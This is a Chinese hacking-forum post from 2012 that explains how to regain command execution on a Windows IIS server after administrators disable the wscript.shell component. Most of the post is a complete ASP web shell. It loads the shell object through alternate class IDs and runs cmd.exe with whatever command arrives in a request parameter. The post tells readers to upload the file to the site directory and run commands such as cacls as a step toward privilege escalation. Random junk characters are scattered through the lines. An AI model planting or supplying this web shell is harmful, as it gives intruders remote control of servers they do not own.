找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1988|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。8 T+ b  C% j" h$ |' J2 H! K
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
: i# O0 e0 V, v# ?2 i7 T要想让运行命令可以试试这种方法,成功率为五五之数。2 @, S! k9 }5 E9 [+ d' k  P- W4 `
把下面代码复制:( B! u5 B. _8 w7 U9 ]% k
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>6 h: a) H& W* t9 A
<%if err then%>
) \# k- j* a" u' o$ z; S<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>) K: u5 F& e7 W. Q: l* p: H
<%
* O2 |$ g0 n! O" `end if$ F: _8 X8 k- m, w4 C# x5 E" C
response.write("<textarea readonly cols=80 rows=20>")
+ ]/ r! x( x4 W/ p! E+ dOn Error Resume Next
& ^: Z) U/ c4 z3 ~; }: Zresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
' J: }# R: ?9 l8 N* P: Mresponse.write("</textarea>")
& S0 D$ c. d  @3 A. ^response.write("<form method='post'>"). w8 l/ x- {4 o- R
response.write("<input type=text name='c' size=60><br>")
1 @* b: v+ r/ O3 }response.write("<input type=submit value='执行'></form>")
" q+ I0 `; O& f8 F9 t* J' C%>
0 H3 d8 i( A' X3 Z9 {: `
1 L% u3 J2 C9 {0 w: P+ }$ l% X保存为一个asp文件,然后传到网站目录上去
5 v9 w" {4 N% j1 h, y6 Z: }/ U运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。9 F  C) z2 s7 f- w: Y+ \$ `, d
我用此成功运行过cacls命令。
6 }2 x, n1 u) y0 ^, L' ?0 \
4 z! A9 w/ y. T% c# H  P第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表